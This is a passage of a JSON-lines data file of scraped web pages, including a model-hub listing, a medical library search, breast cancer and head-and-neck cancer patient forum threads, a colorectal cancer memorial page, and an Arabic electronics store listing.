\u2022 88\nBlinkDL/rwkv-7-world\nText Generation \u2022 Updated May 31, 2025 \u2022 107\nJetBrains/Mellum-4b-dpo-all-gguf\n4B \u2022 Updated Oct 1, 2025 \u2022 151 \u2022 5\nTheBloke/TinyLlama-1.1B-Chat-v0.3-AWQ\nText Generation \u2022 1B \u2022 Updated Nov 9, 2023 \u2022 81.6k \u2022 4\ncroissantllm/CroissantLLMChat-v0.1-GGUF\nText Generation \u2022 1B \u2022 Updated Apr 29, 2024 \u2022 71 \u2022 4\nibm-granite/granite-34b-code-base-8k\nText Generation \u2022 34B \u2022 Updated Sep 2, 2024 \u2022 58 \u2022 20\nJetBrains/Mellum-4b-base\nText Generation \u2022 4B \u2022 Updated May 7, 2025 \u2022 2.24k \u2022 436\nJetBrains/Mellum-4b-sft-python\nText Generation \u2022 4B \u2022 Updated May 19, 2025 \u2022 24 \u2022 55\nJetBrains/Mellum-4b-base-gguf\n4B \u2022 Updated May 7, 2025 \u2022 503 \u2022 38\nmicrosoft/NextCoder-32B\nText Generation \u2022 33B \u2022 Updated Jun 12, 2025 \u2022 258 \u2022 \u2022 67\nJetBrains/Mellum-4b-sft-kotlin\nText Generation \u2022 4B \u2022 Updated May 19, 2025 \u2022 45 \u2022 21\nmradermacher/NextCoder-7B-GGUF\n8B \u2022 Updated Jul 13, 2025 \u2022 150 \u2022 3\nmlx-community/salamandra-7b-instruct-mlx-bf16\nText Generation \u2022 Updated Aug 21, 2025 \u2022 12 \u2022 1\nJetBrains/Mellum-4b-dpo-python-gguf\n4B \u2022 Updated Oct 1, 2025 \u2022 63 \u2022 4\nmradermacher/Mellum-4b-dpo-all-i1-GGUF\n4B \u2022 Updated Dec 6, 2025 \u2022 185 \u2022 1\nSalesforce/codegen25-7b-mono_P\nText Generation \u2022 Updated Jan 31, 2025 \u2022 124 \u2022 31\nopenlm-research/open_llama_7b_v2\nText Generation \u2022 Updated Jul 7, 2023 \u2022 1.91k \u2022 122\nSalesforce/codegen25-7b-instruct_P\nText Generation \u2022 Updated Jan 31, 2025 \u2022 39 \u2022 37\nSalesforce/codegen25-7b-multi_P\nText Generation \u2022 Updated Jan 31, 2025 \u2022 351 \u2022 139\nopenlm-research/open_llama_7b_v2_easylm\nUpdated Jul 7, 2023 \u2022 4\nopenlm-research/open_llama_3b_v2\nText Generation \u2022 Updated Jul 16, 2023 \u2022 18.1k \u2022 160\nopenlm-research/open_llama_3b_v2_easylm\nUpdated Jul 16, 2023 \u2022 4\nTheBloke/Codegen25-7B-mono-GPTQ\nText Generation \u2022 7B \u2022 Updated Aug 21, 2023 \u2022 4 \u2022 8\njamesdborin/ct2-int8-open-llama-7b-v2\nText Generation \u2022 Updated Jul 26, 2023 \u2022 1\nBlinkDL/rwkv-5-world\nText Generation \u2022 Updated Apr 3, 2024 \u2022 269\nstabilityai/stablecode-completion-alpha-3b\nText Generation \u2022 Updated Aug 8, 2023 \u2022 44 \u2022 117\nPrevious\n1\n2\n3\n...\n29\nNext\nSystem theme\nCompany\nTOS Privacy About Careers\nWebsite\nModels Datasets Spaces Pricing Docs", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/46999947-2237-4c1d-a139-b02b8750d89d", "content_hash": "6fcde4e475fe3f5c72b5ae201a83bda3befc8ac872ab0f7df874e6ba548780f5", "created_at": "2026-03-28T05:10:40.491447659Z"} +{"id": "d9e7dbff-7833-43c6-8b39-2784e125e224", "source": "brain", "text": "Subjects: House Calls - Digital Collections - National Library of Medicine Search Results\n\nSubjects: House Calls - Digital Collections - National Library of Medicine Search Results\nSkip to search Skip to main content Skip to first result\nAn official website of the United States government. Here\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nA locked padlock ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nsearch for\nSearch\nAbout\nHelp\nWeb Service\nSearch\nSearch Constraints\nStart Over You searched for: Subjects House Calls \u2716 Remove constraint Subjects: House Calls\n1 - 14 of 14\nSort by relevance\nrelevance title\nNumber of results to display per page\n50 per page per page\n10 per page 20 per page 50 per page 100 per page\nSearch Results\n1. A simple device for sterilizing in private houses\nAuthor(s):\nAshton, William Easterly, 1859-1933 author\nPublication:\n[Philadelphia?] : [publisher not identified], [1894?]\nSubject(s):\nSterilization -- instrumentation\nHouse Calls\n2. Bringing primary care home: the Medical House Call Program at MedStar Washington Hospital Center\nAuthor(s):\nKlein, Sarah, author\nHostetter, Martha, author\nMcCarthy, Douglas, author\nPublication:\n[New York, N.Y.] : Commonwealth Fund, July 2016\nSubject(s):\nAmbulatory Care -- methods\nHealth Services for the Aged\nHealth Services Needs and Demand\nHouse Calls\nPrimary Health Care\nUnited States\n3. Maintenance of an aseptic technique in gynecological operations outside of hospitals\nAuthor(s):\nRobb, Hunter, 1863-1940 author\nPublication:\n[Baltimore?] : [publisher not identified], [1893?]\nSubject(s):\nGynecologic Surgical Procedures\nAsepsis -- methods\nHouse Calls\n4. Antiseptic surgery in the country\nAuthor(s):\nWheeler, John Brooks, 1853-1942\nPublication:\nPhiladelphia : Medical Press Co., 1889\nSubject(s):\nSurgical Procedures, Operative\nAntisepsis\nHouse Calls\n5. Surgery on the wing: three successful abdominal sections\nAuthor(s):\nLong, John Wesley, 1859-1926 author\nPublication:\n[Charlotte?] : [publisher not identified], [1895?]\nSubject(s):\nAppendicitis -- surgery\nOvarian Cysts -- surgery\nAdnexal Diseases -- surgery\nHouse Calls\n6. [Teddy bears dressed as a nurse, a doctor, and a patient]\nAuthor(s):\nNeave, Jeremy, photographer\nPublication:\nWaddesdon, Bucks. : Perspectives Photographics, [between 1950 and 1999?]\nSubject(s):\nNurses\nHouse Calls\nPhysicians\nPlay and Playthings\nEngland\n7. Answering the call: when you are sick send for the Metropolitan nurse\nPublication:\nNew York : Metropolitan Life Insurance Company, [between 1900 and 2000]\nSubject(s):\nNurses\nHouse Calls\nInsurance, Life\nUnited States\n8. Wintry days offer no obstacles to the nurse in the perfomrance of her duties\nPublication:\n[Scotland?] : [publisher not identified], [1927?]\nSubject(s):\nNurses\nHouse Calls\n9. [Services of a Queen's nurse for the aged]\nPublication:\nLondon : Raphael Tuck & Sons, [between 1900 and 1950]\nSubject(s):\nNurses\nGeriatric Nursing\nHealth Services for the Aged\nHouse Calls\nEngland\n10. [Nurse helping a young girl]\nPublication:\nLondon : Raphael Tuck & Sons, [1927?]\nSubject(s):\nNurses\nHouse Calls\n11. His first case\nAuthor(s):\nDrayton, Grace G. (Grace Gebbie) artist\nPublication:\nHamburg : Alfred Schweizer, [1910?]\nSubject(s):\nChild, Preschool\nHouse Calls\nNurses\nPlay and Playthings\n12. A queen's nurse on her village round\nPublication:\nLondon : Raphael Tuck & Sons, [1927?]\nSubject(s):\nNurses\nHouse Calls\n13. Sight tests at home\nPublication:\n[England] : H.M.S.O., 1990\nSubject(s):\nVision Tests\nEligibility Determination\nHouse Calls\nState Medicine\nUnited Kingdom\n14. \"A Doctor Quick!\"\nPublication:\n[United States] : Bell Telephone, [1905?]\nSubject(s):\nTelephone\nHouse Calls\nAmerican Telephone and Telegraph Company.\nRefine by:\nShow facets Hide facets\nFormats\nStill image9\nText5\nCollections\nImages from the History of Medicine (IHM)9\nMedicine in the Americas, 1610-19204\nHealth Policy and Services Research1\nSubjects\nHouse Calls\u2716[remove]14\nNurses7\nEngland2\nHealth Services for the Aged2\nPlay and Playthings2\nmore Subjects \u00bb\nAuthors\nAshton, William Easterly, 1859-1933 author1\nDrayton, Grace G. (Grace Gebbie) artist1\nHostetter, Martha, author1\nKlein, Sarah, author1\nLong, John Wesley, 1859-1926 author1\nmore Authors \u00bb\nTitles\n\"A Doctor Quick!\"1\nA queen's nurse on her village round1\nA simple device for sterilizing in private houses1\nAnswering the call: when you are sick send for the Metropolitan nurse1\nAntiseptic surgery in the country1\nmore Titles \u00bb\nLanguages\nEnglish14\nGenre\nPostcard8\nAdvertisement1\nCase Reports1\nPoster1\nTechnical Report1\nCopyright\nPublic domain8\nCopyright may apply7\nDates by Range\n1850-18994\n1900-19497\n1950-19993\n2000 and later2\nPublication Year\nBegin\nEnd\n1000 to 10990\n1100 to 11990\n1200 to 12990\n1300 to 13990\n1400 to 14990\n1500 to 15990\n1600 to 16990\n1700 to 17990\n1800 to 18994\n1900 to 19999\n2000 to 20261\nConnect with NLM\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nNLM Support Center\nAccessibility\nCareers\nNLM | NIH | HHS | USA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/d9e7dbff-7833-43c6-8b39-2784e125e224", "content_hash": "0620c0d7214ec28d0731a76e099f322e97741ea8d4060d84870190b92da33596", "created_at": "2026-03-28T05:10:40.491434252Z"} +{"id": "181873be-758b-4575-bfcb-d727430491ad", "source": "brain", "text": "Anastrozole \u2014 Community Discussion Forums\n\nAnastrozole \u2014 Community Discussion Forums\nHome\u203a The Breastcancer.org Community Forum\u203a In treatment\u203a Hormonal Therapy - Before, During, and After\nCome join others currently navigating treatment in our weekly Virtual Support Groups! See times and register here.\nAnastrozole\nlmruss Posts: 1\nApril 2025 edited April 2025 in Hormonal Therapy - Before, During, and After\nHi. looking for opinions. I was diagnosed with invasive carcinoma of breast the breast. My tumor was 4mm. I was HER negative. Estrogen Receptor 60%, Progesterone Receptor 40%, KI67 proliferation no longer marker 3%. I had a lumpectomy. When they did the surgery the tumor was already gone from the biopsy. Nothing spread to my lymph nodes They didn\u2019t do testing for an onco type score because it was too small & the tumor was gone during the surgery. I did 20 rounds of radiation. Would you do the hormone therapy in this situation? My genetic testing also came back good . Really trying to decide what to do. Any feedback is greatly appreciated!\nTagged:\nArimidex (anastrozole)\n0\nComments\nexbrnxgrl Posts: 5,613\nApril 2025\nImruss,\nThis question comes up a lot. My first suggestion is to bring your concerns about this to your mo and really be honest about why you\u2019re hesitating. Genetic testing is largely irrelevant since only a minority of bc cases are linked to genetic mutations. What they\u2019re recommending, Anastrozole, is pretty much standard of care for your situation.\nWhen reading through bco you are much more likely to find posts by folks having problems and side effects from AI\u2019s. Those who have no, few, or diminishing side effects tend not to post nearly as much. Lastly, there is simply no way to predict in advance who will or won\u2019t have side effects or the severity. I took each of the AI\u2019s at one time or another for well over 12 years but managed the side effects for the most part ( about to start again, too!). Many people choose to start and are surprised by how well things go, others, not so much so they choose to stop.\nFor me, the bottom line when asking this question is if you will feel regret if you don\u2019t take it and have a recurrence later. Clearly this is a very individual choice but it is always your choice. Take care\n0\nmoderators Posts: 9,847\nApril 2025\nHi , and welcome to Breastcancer.org!\nWe're so sorry for the reasons that bring you here, but we're really glad you've found us. As you can already see, our community is a wonderful source of advice, information, encouragement, and support \u2014 we're all here for you!\n offers a great response, and some information to ponder.\nThere's also some good insight here, to explain why it's beneficial to take hormonal therapy to prevent recurrence risk:\nhttps://www.breastcancer.org/treatment/hormonal-therapy/refusing-hormone-therapy\nWe hope this helps!\n\u2014The Mods\n0\nsundevilfan68 Posts: 2\nApril 2025\nI take anastrozole. I am in a similar situation. I had what was said to be 8mm ER+ PR- HER2- ILC, but was 4mm after biopsy. I had a lumpectomy and brachytherapy (targeted radiation) no chemo. No cancer in my lymph nodes. Nothing showed up on genetic testing. I don't like the side effects of the medication, but they are not enough to make me stop the med. I know that I want to do all I can do to lessen my risk of recurrence. You could always try it out and if the side effects are too much, switch the med or discontinue at that time.\n0\nCategories\nAll Categories\n1.4K Concerned about my risk\n1.7K Connect with others like me\n2K In treatment\n606 Managing life with cancer\n156 Finished treatment\n836 Living with metastatic disease\n53 Caring for someone\n294 Tributes\n39 Discussion forum resources\nJoin Us on Zoom: Upcoming virtual support groups. Read more...\nShare more about you! Fill out your profile.\nYour donation goes directly to what you read, hear, and see on Breastcancer.org.\nDonate\nStay informed with emails from us\nBy submitting my email, I agree to receive newsletters from Breastcancer.org\nAbout Us\nMission Team Media Financials\nGet In Touch\nContact us Job postings FAQ Guidelines Abbreviations\nYou can help\nWays to give Donate Host a fundraiser Partnerships\nF O U R - S T A R Breastcancer.org is a registered 501(c)(3) nonprofit organization.\nEIN is 23-3082851.\n\u00a9 2025 Breastcancer.org - All rights reserved. 40 E Montgomery Avenue, 4th Floor Ardmore, PA 19003. Breastcancer.org does not provide medical advice, diagnosis or treatment. See additional information.\nPolicies|\nPrivacy|\nTerms of Use|", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/181873be-758b-4575-bfcb-d727430491ad", "content_hash": "8b196192502a8a5ea4dd8070ca6fca82d505f43c98aae7ada61413e616319b35", "created_at": "2026-03-28T05:10:40.491350944Z"} +{"id": "e780404d-5519-454a-9ae3-d1b9ca63a036", "source": "brain", "text": "John MacLeod - FightCRC\n\nJohn MacLeod - FightCRC\nSkip to content\nPatients & Caregivers\nAbout Colorectal Cancer\nOur Programs\nGet Involved\nSearch Results:\nWhat are my screening options? Just Diagnosed \u2013 Where do I go from here? Dealing with Skin Rash and other Unpleasant Side Effects Report Cards: Understanding Your Biomarker and Pathology Reports View More Results\nDonate Now\nPatients & Caregivers\nAccess the information, tools, and support that help you move through colorectal cancer and stay informed at every step.\nLearn More\nUnderstanding Your Diagnosis\nBreak down the details of your diagnosis, including staging, testing, and treatment options, to help you navigate what comes next.\nLearn More\nTreatment Choices & Checklist\nColorectal Cancer Biomarkers\nUpcoming Webinars\nPatient & Caregiver Stories\nCancer Terms Glossary\nEducation & Resources\nExplore reliable resources, expert guidance, and practical tools to help you learn more and advocate for your health with confidence.\nLearn More\nJust Diagnosed\nYour Care Team\nSurgery & Ostomy\nDiagnostic Tests & Scans\nTreatment Choices & Checklist\nClinical Trials\nSide Effects\nMental Health\nLifestyle & Nutrition\nFinancial & Insurance Help\nPlanning Ahead & End of Life\nSurvivorship\nSupport Services\nFight CRC\u2019s support services provide the tools, guidance, and community you need to stay informed, supported, and empowered every step of the way.\nLearn More\nJoin the Online Community\nFind a Doctor\nAsk ChatCRC\nSupport for Caregivers\nLGBTQ+ Support\nColorectal Cancer in Young Adults\nPartner Organization Resources\nEstate Planning\nAbout Colorectal Cancer\nLearn what colorectal cancer is, how it develops, and the key facts, symptoms, and screening guidelines to know.\nLearn More\nColorectal Cancer Facts\nGet the key facts about colorectal cancer\u2014including who\u2019s affected, why rates are rising in younger adults, and what we know from the latest research and data.\nLearn More\nWhat is Colorectal Cancer?\nStatistics\nHow Colorectal Cancer Develops\nYour Risk & Prevention Tips\nUnderstand how your personal history, family history, and other risk factors influence your chances of developing colorectal cancer\u2014and learn the steps you can take to stay ahead of it.\nLearn More\nGenetics & Family History\nSigns & Symptoms\nScreening Quiz\nScreening & Early Detection\nGet clear guidance on screening and early detection: which tests are right for you, when to schedule them, how to prepare for a colonoscopy, and insurance coverage.\nLearn More\nWhich Test & When\nColonoscopy Prep\nInsurance & Screening Coverage Guide\nOur Programs\nExplore Fight CRC programs that support you, strengthen your voice, and connect you to research-driven progress.\nLearn More\nAdvocacy\nOur Advocacy Program helps you raise your voice, take meaningful action, and advance Fight CRC\u2019s priorities to improve colorectal cancer outcomes.\nLearn More\nTake Action\nAdvocacy News & Wins\nPolicy Priorities\nColorectal Cancer Care Initiative\nAnnual Lobby Day\nAdvocacy Training\nState Catalyst Program\nResearch\nThe Research Program fuels collaboration and patient-centered research to improve outcomes across colorectal cancer care.\nLearn More\nResearch Priorities\nFunded Researchers\nClinical Trials\nResearch Advocacy Training & Support Program\nOur Path to a Cure\nEvents & Campaigns\nDiscover upcoming Fight CRC events and opportunities to connect, learn, and take action.\nLearn More\nCall-on Congress\nUnited in Blue\nAmbassador Program\nColon Camp\nNo Shave November\nMarch: Colorectal Cancer Awareness Month\nGet Involved\nWhether you\u2019re a patient, caregiver, or loved one, Fight CRC offers medically-reviewed resources, support, and community so you never face colorectal cancer alone.\nLearn More\nEvents & Ways to Give\nExplore upcoming events and discover meaningful ways to support Fight CRC\u2019s mission.\nLearn More\nHonor Your Loved One\nHost an Event\nJoin an Event\nSupport a Survivor\nFind Community\nLearn More\nJoin the Online Community\nVolunteer\nShare Your Story\nRaise Awareness From Home\nTake Action\nShop\nLearn More\nOur Mission\nNews & Media Hub\nOur Team\nContact Us\nShop\nImpact & Financials\nJohn MacLeod\nLove and miss you every minute of every day\nREADY TO JOIN THE FIGHT?\nSubscribe To Our Newsletter Join Our Community\nOur Mission\nNews & Media Hub\nOur Team\nContact Us\nShop\nImpact & Financials\nFaceboook X Instagram YouTube TikTok LinkedIn Bluesky\nPolicies and Disclaimers\n\u00a9 2026 Fight Colorectal Cancer. All rights reserved. Tax ID: 20-2622550\nDonate Now", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/e780404d-5519-454a-9ae3-d1b9ca63a036", "content_hash": "af77ece289bf83ed0c370d8de207b1cbf3d249289a08efe28a798beb59ce4334", "created_at": "2026-03-28T05:10:40.482846011Z"} +{"id": "a6a0516e-3fab-463c-8aad-0c91c7580d25", "source": "brain", "text": "Has anyone had surgery to remove scar tissue? | Mayo Clinic Connect\n\nHas anyone had surgery to remove scar tissue? | Mayo Clinic Connect\nSkip to Content\nConnect\nSign In\nJoin\nHome\nSupport Groups\nBlogs & Podcasts\nEvents\nMembers\nHelp Center\n< Head & Neck Cancer\nHas anyone had surgery to remove scar tissue?\nPosted by mindyt , Oct 24, 2021\nI have a lot of scar tissue from radiation leaving me with a challenged airway - it has also ratcheted down on my vocal cords taking my voice as well as painful- I live in an area that the Drs tell me to find a specialist (it\u2019s over their heads) but the idea that I could have improvement would be incredible. I have been seen by 2 ENT surgeons in my state but I don\u2019t think the information was there. So has anyone surviving throat cancer had radiation and surgery to remove scar tissue or anyone with some advice I don\u2019t know where to go from here?\nLike\nHelpful\nHug\n5 Reactions\nCopy link to clipboard\nBookmark\nReport discussion\nInterested in more discussions like this? Go to the Head & Neck Cancer Support Group.\nFirst\n1\n2\n3\n4\n...\nNext\nLast\nOldest to Newest Newest to Oldest Most Replied To Most Reacted\nstephenrfleury | | 2 days ago\nI was treated for my SCC with radiation and chemo. Like many of us, the radiation caused fibrosis and tightening in my neck. To ease the fibrosis and to return some of the mobility, I had a surgery called fat grafting. Prior to the surgery, I began Botox injections in my neck, which which helped on their own. Then I had the fat grafting surgery where they remove fat, in my case my stomach, and inject it into my neck. During that surgery, they also \"cut \"some some of the fibrous chords in my neck. The net result of these two treatments is near normal movement in my neck, and almost no pain.\nLike\nHelpful\nHug\n5 Reactions\nCopy link to clipboard\nBookmark\nReport comment\nREPLY\nomaest | | 3 days ago\nI have radiation fibrosis as a result of treatment for tonsil cancer in 2003. This is one of many long term after effects of radiation. The ENT of my tumor team told me that surgery was too much of a risk because of where the scar tissue (fibrosis) is and if removal surgery was done it probably wouldn't heal. The side of my neck is very hard. I have lots of exercises to do and have gone to a number of therapists to keep the tissue from getting stiffer as the years go by.\nLike\nHelpful\nHug\nCopy link to clipboard\nBookmark\nReport comment\nREPLY\ndoglover888 | | 4 days ago\nHi. This might help. I had esophageal cancer and due to complications my right vocal cord died. I had an implement inserted in my next which produces sound. This could be an option. Good luck and stay positive.\nLike\nHelpful\nHug\n3 Reactions\nCopy link to clipboard\nBookmark\nReport comment\nREPLY\nharleytiger | | Dec 2, 2025\nIn reply to \" wow that\u2019s a lot to take in. My worst 19 hour neck dissections made my...\" + (show)- (hide)\n\n wow that\u2019s a lot to take in. My worst 19 hour neck dissections made my mobility like a wooden neck. I\u2019m only comfortable resting my head from so much muscle loss but knitting has become my best friend.\nJump to this post\n Me too. I have the same problem. My neck feels like I have a bungee chord attached from my skull to my top rib. I have hard places in there as well. Mobility is a big problem. Did you have radiation? I think mine is radiation fibrosis. I'm currently going to a great PT who is doing great work on my neck. He believes he can make it much better. Hopefully he's right? I know he works it very well. He said red light hasn't been proven to work and the cost of those machines are so expensive that most PT locations don't have them.\nLike\nHelpful\nHug\n3 Reactions\nCopy link to clipboard\nBookmark\nReport comment\nREPLY\nspeseas | | Dec 1, 2025\nIn reply to \"Dear , I have had radiation for Pyriform Sinus Cancer. These two pouches, are located down...\" + (show)- (hide)\n\nDear , I have had radiation for Pyriform Sinus Cancer. These two pouches, are located down by the vocal cords. My pen-pal friend has also had radiation for throat cancer. We both suffer in different ways. Your question about surgery to remove scar tissue is a good one. Here is what we have both been told by several different ENT's: Radiated tissue can become necrotic (rot) if any type of surgery is performed. One ENT described radiated tissue as \"mush.\" Unfortunately, it can become necrotic on its own too. My friend has been on a feeding tube for over two years, as she can not eat, drink, and can barely talk. Her Epiglottis is fused to her throat from the radiation. Any tampering could produce disastrous results. We both have tracheotomies, as my Vocal Cords are paralyzed. I could barely breathe, thus, the Tracheotomy. Everyone is different, but when it comes to radiated tissue, it is a sad situation. As the doctors usually say, \"at least you are alive.\" I foresee the day when less destructive methods are utilized to cure cancer, however, it probably will not be in my lifetime, as I am in my 60s. Good luck Mindy, and know you are not alone. Stay close to our maker, and you will find peace.\nJump to this post\n wow that\u2019s a lot to take in. My worst 19 hour neck dissections made my mobility like a wooden neck. I\u2019m only comfortable resting my head from so much muscle loss but knitting has become my best friend.\nLike\nHelpful\nHug\n3 Reactions\nCopy link to clipboard\nBookmark\nReport comment\nREPLY\n1 reply\ned69gts | | Mar 2, 2025\nAnd Iam losing my voice and having pain around my face and ear where they put a new tongue in my mouth\nLike\nHelpful\nHug\n1 Reaction\nCopy link to clipboard\nBookmark\nReport comment\nREPLY\ned69gts | | Mar 2, 2025\nNo my doctor doesn't want to do anything for it\nLike\nHelpful\nHug\n1 Reaction\nCopy link to clipboard\nBookmark\nReport comment\nREPLY\ndalestackable | | Jun 24, 2024\nFollow up on the small bowel obstructions/from scar tissue of feeding tube. After reviewing the 2 emergency room notes, my surgeon (Ivor Lewis surgery) suggested that I wait and if it happens again, they may go in and do some removal of scar tissue. As I am in Florida, and my surgeon is in Houston, that poses a potential threat due to the time, it would take me to get there. I\u2019m still very concerned because we know removing scar tissue can create more scar tissue.\nHas anyone had bowel obstructions following a feeding tube?\nI had mine for 6 months.\nConcerned because my local emergency room doctors are not receptive to treating me once they see my scat CAT scan and the repositioned organs of my gut. (from the Ivor Lewis surgery) I don\u2019t know how I will be able to get on the plane and go back to Houston if this happens again. Concerned about what could happen in an emergency situation if I have another bowel obstruction .\nLike\nHelpful\nHug\n1 Reaction\nCopy link to clipboard\nBookmark\nReport comment\nREPLY\ndalestackable | | Oct 24, 2023\nIn reply to \"I am a 3+ year survivor of Stage IV ESCC. I am totally non-PO due to...\" + (show)- (hide)\n\nI am a 3+ year survivor of Stage IV ESCC. I am totally non-PO due to extensive esophageal strictures. I've undergone 10 dilation but my esophagus is now too friable to attempt further dilations as it would repture. I am totally dependent upon my G tube for meds, nutrition and hydration. I was treated with aggressive chemo-radiation to try to control my disease. Unfortunately, one of rarely discussed side effects of radiation therapy for esophageal, throat and head and neck cancers is reactive fibrosis. While radiotherapy kills the cancer, it also produces free radical reactive oxygen species (ROS) and inflammation which cause tissue fibroblasts near the cancer lesion to produce increased amounts of connective tissue. This results in increased tissue stiffness and rigidity as well as strictures. The throat and esophagus may be amenable to dilation but the relief may be temporary as fibrosis and strictures inevita", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/a6a0516e-3fab-463c-8aad-0c91c7580d25", "content_hash": "e2cead1368126e9ea588258275cc59e16629c25fffc0ff2af384756b18dc47f4", "created_at": "2026-03-28T05:10:40.374345966Z"} +{"id": "9e8622d0-0588-45b7-9032-8294df18ba18", "source": "brain", "text": "IP video intercom kit\n\nIP video intercom kit\nThe store will not work correctly in the case when cookies are disabled.\nJavaScript seems to be disabled in your browser. For the best experience on our site, be sure to turn on Javascript in your browser.\nEnglish\n\u06a9\u0648\u0631\u062f\u06cc\n\u0627\u0644\u0639\u0648\u062f\u0629 \u0625\u0644\u0649 \u0622\u0633\u064a\u0627\u0633\u064a\u0644\nAuto Login\n\u062d\u0648\u0644 \u0622\u0633\u064a\u0627\u0633\u064a\u0644 \u0627\u0644\u062f\u0639\u0645\n\u0625\u0633\u062a\u0645\u0627\u0631\u0629 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u0634\u0631\u06a9\u0627\u0621\n\u0645\u0642\u0627\u0631\u0646\u0629 \u0627\u0644\u0645\u0646\u062a\u062c\u0627\u062a\n\u0627\u0644\u0623\u0633\u0626\u0644\u0629 \u0627\u0644\u0634\u0627\u0626\u0639\u0629\n\u0627\u0644\u0633\u064a\u0627\u0633\u0629 \u0648\u0627\u0644\u0636\u0645\u0627\u0646\nToggle Nav\n\u0642\u0627\u0626\u0645\u0629 \u0637\u0639\u0627\u0645\n\u0633\u0644\u0629 \u0627\u0644\u062a\u0633\u0648\u0642\nAuto Login\n\u0644\u063a\u0629\nEnglish\n\u06a9\u0648\u0631\u062f\u06cc\n\u0625\u0633\u062a\u0645\u0627\u0631\u0629 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u0634\u0631\u06a9\u0627\u0621\n\u0645\u0642\u0627\u0631\u0646\u0629 \u0627\u0644\u0645\u0646\u062a\u062c\u0627\u062a\n\u0627\u0644\u0623\u0633\u0626\u0644\u0629 \u0627\u0644\u0634\u0627\u0626\u0639\u0629\n\u0627\u0644\u0633\u064a\u0627\u0633\u0629 \u0648\u0627\u0644\u0636\u0645\u0627\u0646\n\u0622\u0633\u064a\u0627\u0645\u0648\u0644\n\u0645\u0648\u0628\u0627\u064a\u0644\n\u0627\u0644\u0642\u0633\u0627\u0626\u0645 \u0627\u0644\u0627\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629\n\u062d\u0627\u0633\u0648\u0628\n\u0623\u0644\u0639\u0627\u0628\n\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\n\u0645\u0644\u062d\u0642\u0627\u062a\n\u0623\u062c\u0647\u0632\u0629 \u0645\u0646\u0632\u0644\u064a\u0629\n\u0645\u0646\u062a\u062c\u0627\u062a \u0622\u0633\u064a\u0627\u0633\u064a\u0644\n\u062d\u0633\u0627\u0628\n\u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\n\u0633\u0644\u0629 \u0627\u0644\u062a\u0633\u0648\u0642\n\u064a\u0628\u062d\u062b\n\u064a\u0628\u062d\u062b\n\u064a\u0628\u062d\u062b\n\u0627\u0644\u0635\u0641\u062d\u0629 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629\n\u0622\u0633\u064a\u0627\u0645\u0648\u0644\n\u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0630\u0643\u064a\u0629\nHikvision\nIP video intercom kit\nClose\nThis is error message\nIP video intercom kit\n\u0645\u062a\u0648\u0641\u0631\n\u064a\u0634\u0627\u0631\u0643\n\u064a\u0634\u0627\u0631\u0643 \u064a\u0634\u0627\u0631\u0643\n\u0643\u0646 \u0623\u0648\u0644 \u0645\u0646 \u064a\u0631\u0627\u062c\u0639 \u0647\u0630\u0627 \u0627\u0644\u0645\u0646\u062a\u062c\n\u0627\u0644\u0643\u0645\u064a\u0629:\nEZVIZ\n\u0623\u0636\u0641 \u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0633\u0648\u0642\n244,950 \u062f\u064a\u0646\u0627\u0631\u200f\n\u0623\u0636\u0641 \u0644\u0644\u0645\u0642\u0627\u0631\u0646\u0629\n\u0627\u0646\u062a\u0642\u0644 \u0625\u0644\u0649 \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u0645\u0639\u0631\u0636 \u0627\u0644\u0635\u0648\u0631\n\u062a\u062e\u0637\u064a \u0625\u0644\u0649 \u0628\u062f\u0627\u064a\u0629 \u0645\u0639\u0631\u0636 \u0627\u0644\u0635\u0648\u0631\n\u0646\u0638\u0631\u0629 \u0639\u0627\u0645\u0629 \u0639\u0644\u0649 \u0627\u0644\u0645\u0646\u062a\u062c\nNetwork video intercom bundle for villa or house\nOne call button for easier calls\nConvenient Hik-Connect App mobile control\nStores messages and captured pictures in the TF card\nIncluding: DS-KV8113-WME1(C) \u00d7 1, DS-KH6320-WTE1 \u00d7 1, 4-port standard PoE switch \u00d7 1, 16 GB TF card \u00d7 1\nPower adapter included in the package\n\u0645\u0644\u0627\u062d\u0638\u0627\u062a\n\u0627\u0644\u062a\u0642\u064a\u064a\u0645\u0627\u062a \u0648\u0627\u0644\u0645\u0631\u0627\u062c\u0639\u0627\u062a\n\u0643\u0646 \u0623\u0648\u0644 \u0645\u0646 \u064a\u0631\u0627\u062c\u0639 \u0647\u0630\u0627 \u0627\u0644\u0645\u0646\u062a\u062c\n0\n0\n0\n0\n0\n\u0627\u0643\u062a\u0628 \u0645\u0631\u0627\u062c\u0639\u0629\n\u06cc\u0631\u062c\u06cc \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0644\u06a9\u062a\u0627\u0628\u0629 \u0645\u0644\u0627\u062d\u0638\u0627\u062a\u0643 \u0627\u0644\u0642\u06cc\u0645\u0629 \u062d\u0648\u0644 \u0645\u0646\u062a\u062c\u0627\u062a\u0646\u0627. \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0623\u0648 \u0625\u0646\u0634\u0627\u0621 \u062d\u0633\u0627\u0628\nBuy Electronics, devices & More | Asia Mall by Asiacell \u2013 Iraq's Online Shopping\n\u062a\u0645 \u0628\u064a\u0639\u0647\u0627 \u0645\u0646 \u0642\u0628\u0644\nEZVIZ\n18 Products\n\u062a\u0648\u0627\u0635\u0644 \u0645\u0639 